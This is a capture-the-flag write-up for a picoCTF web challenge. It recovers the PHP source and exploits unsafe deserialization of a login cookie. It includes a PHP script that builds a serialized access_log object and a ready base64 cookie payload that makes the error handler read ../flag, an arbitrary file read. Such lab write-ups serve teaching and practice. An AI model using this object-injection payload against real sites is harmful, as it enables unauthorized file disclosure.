Problem
Try to recover the flag stored on this website
Solution
If we go over to the robots.txt file, we can see that there is a page called /admin.phps
Navigating there, however, gives a Not Found error.
But if we navigate to http://mercury.picoctf.net:3449/index.phps
(append s
to the index page), we get the source code for index.php
(I guess s
stands for source?)
Copy <? php
require_once ( "cookie.php" );
if ( isset ( $_POST[ "user" ] ) && isset ( $_POST[ "pass" ] ) ){
$con = new SQLite3 ( "../users.db" );
$username = $_POST[ "user" ];
$password = $_POST[ "pass" ];
$perm_res = new permissions ($username , $password);
if ($perm_res -> is_guest () || $perm_res -> is_admin () ) {
setcookie ( "login" , urlencode ( base64_encode ( serialize ( $perm_res ))), time () + ( 86400 * 30 ) , "/" ) ;
header ( "Location: authentication.php" ) ;
die ();
} else {
$msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>' ;
}
}
?>
This reveals another page, authentication.php
.
Similarly, we can view the source code by appending the s
.
Copy <? php
class access_log
{
public $log_file;
function __construct ($lf) {
$this -> log_file = $lf;
}
function __toString () {
return $this -> read_log () ;
}
function append_to_log ($data) {
file_put_contents ( $this -> log_file , $data , FILE_APPEND ) ;
}
function read_log () {
return file_get_contents ( $this -> log_file ) ;
}
}
require_once ( "cookie.php" );
if ( isset ( $perm ) && $perm -> is_admin () ){
$msg = "Welcome admin" ;
$log = new access_log ( "access.log" );
$log -> append_to_log ( "Logged in at " . date ( "Y-m-d" ) . "\n" ) ;
} else {
$msg = "Welcome guest" ;
}
?>
Finally, the require_once()
includes the cookie.php
file. Let's view the source code:
Copy <? php
session_start () ;
class permissions
{
public $username;
public $password;
function __construct ($u , $p) {
$this -> username = $u;
$this -> password = $p;
}
function __toString () {
return $u . $p;
}
function is_guest () {
$guest = false ;
$con = new SQLite3 ( "../users.db" );
$username = $this -> username;
$password = $this -> password;
$stm = $con -> prepare ( " SELECT admin , username FROM users WHERE username = ? AND password= ?" ) ;
$stm -> bindValue ( 1 , $username , SQLITE3_TEXT ) ;
$stm -> bindValue ( 2 , $password , SQLITE3_TEXT ) ;
$res = $stm -> execute () ;
$rest = $res -> fetchArray () ;
if ($rest[ "username" ]) {
if ($rest[ "admin" ] != 1 ) {
$guest = true ;
}
}
return $guest;
}
function is_admin () {
$admin = false ;
$con = new SQLite3 ( "../users.db" );
$username = $this -> username;
$password = $this -> password;
$stm = $con -> prepare ( " SELECT admin , username FROM users WHERE username = ? AND password= ?" ) ;
$stm -> bindValue ( 1 , $username , SQLITE3_TEXT ) ;
$stm -> bindValue ( 2 , $password , SQLITE3_TEXT ) ;
$res = $stm -> execute () ;
$rest = $res -> fetchArray () ;
if ($rest[ "username" ]) {
if ($rest[ "admin" ] == 1 ) {
$admin = true ;
}
}
return $admin;
}
}
if ( isset ( $_COOKIE[ "login" ] ) ){
try {
$perm = unserialize ( base64_decode ( urldecode ( $_COOKIE[ "login" ] ))) ;
$g = $perm -> is_guest () ;
$a = $perm -> is_admin () ;
}
catch ( Error $e){
die ( "Deserialization error. " . $perm);
}
}
?>
Exploit
OK. A few things to note here. The cookie.php file is included in every page. The following code segment will deserialize our cookie and print the object when an error occurs. ("Deserialization error. ".$perm
)
Copy if ( isset ( $_COOKIE[ "login" ] ) ){
try {
$perm = unserialize ( base64_decode ( urldecode ( $_COOKIE[ "login" ] ))) ;
$g = $perm -> is_guest () ;
$a = $perm -> is_admin () ;
}
catch ( Error $e){
die ( "Deserialization error. " . $perm);
}
}
Conveniently, the access_log
class in authentication.php has the following __toString()
method:
Copy function __toString () {
return $this -> read_log () ;
}
function append_to_log ($data) {
file_put_contents ( $this -> log_file , $data , FILE_APPEND ) ;
}
function read_log () {
return file_get_contents ( $this -> log_file ) ;
}
__toString
is one of the PHP magic methods that override PHP's default behaviour. This method is called when the object is converted to a string. So if we could get the above $perm
variable to be our custom access_log
object, we could achieve arbitrary file read on the target system.
To do this, we simply serialize our custom access_log
object, where we set log_file
to ../flag
.
This can be done with the following script:
Copy <? php
class access_log
{
public $log_file;
function __construct ($lf) {
$this -> log_file = $lf;
}
function __toString () {
return $this -> read_log () ;
}
function append_to_log ($data) {
file_put_contents ( $this -> log_file , $data , FILE_APPEND ) ;
}
function read_log () {
return file_get_contents ( $this -> log_file ) ;
}
}
class permissions
{
public $username;
public $password;
function __construct ($u , $p) {
$this -> username = $u;
$this -> password = $p;
}
function __toString () {
return $u . $p;
}
}
$serialized = serialize ( new access_log ( '../flag' ) ) ;
$encoded = urlencode ( base64_encode ( $serialized )) ;
var_dump ( $encoded ) ;
$perm = unserialize ( base64_decode ( urldecode ( $encoded ))) ;
var_dump ( $perm ) ;
?>
Now, we add TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
as the login
cookie on our browser and go to authentication.php
. Note that we need to use authentication.php
because that is the file where the required access_log
class is defined.
Now back to this code:
Copy if ( isset ( $_COOKIE[ "login" ] ) ){
try {
$perm = unserialize ( base64_decode ( urldecode ( $_COOKIE[ "login" ] ))) ;
Our custom access_log('../flag')
object will be deserialized into $perm
.
Copy $g = $perm -> is_guest () ;
$a = $perm -> is_admin () ;
}
This will most definitely generate an error because the access_log
class has no such methods.
Copy catch ( Error $e){
die ( "Deserialization error. " . $perm);
}
}
This will catch the error and concatenate $perm
to the "Deserialization error. "
string. In doing so, $perm
is converted to a string. This invokes the __toString()
method which reads ../flag
!
The flag will be printed on our browser.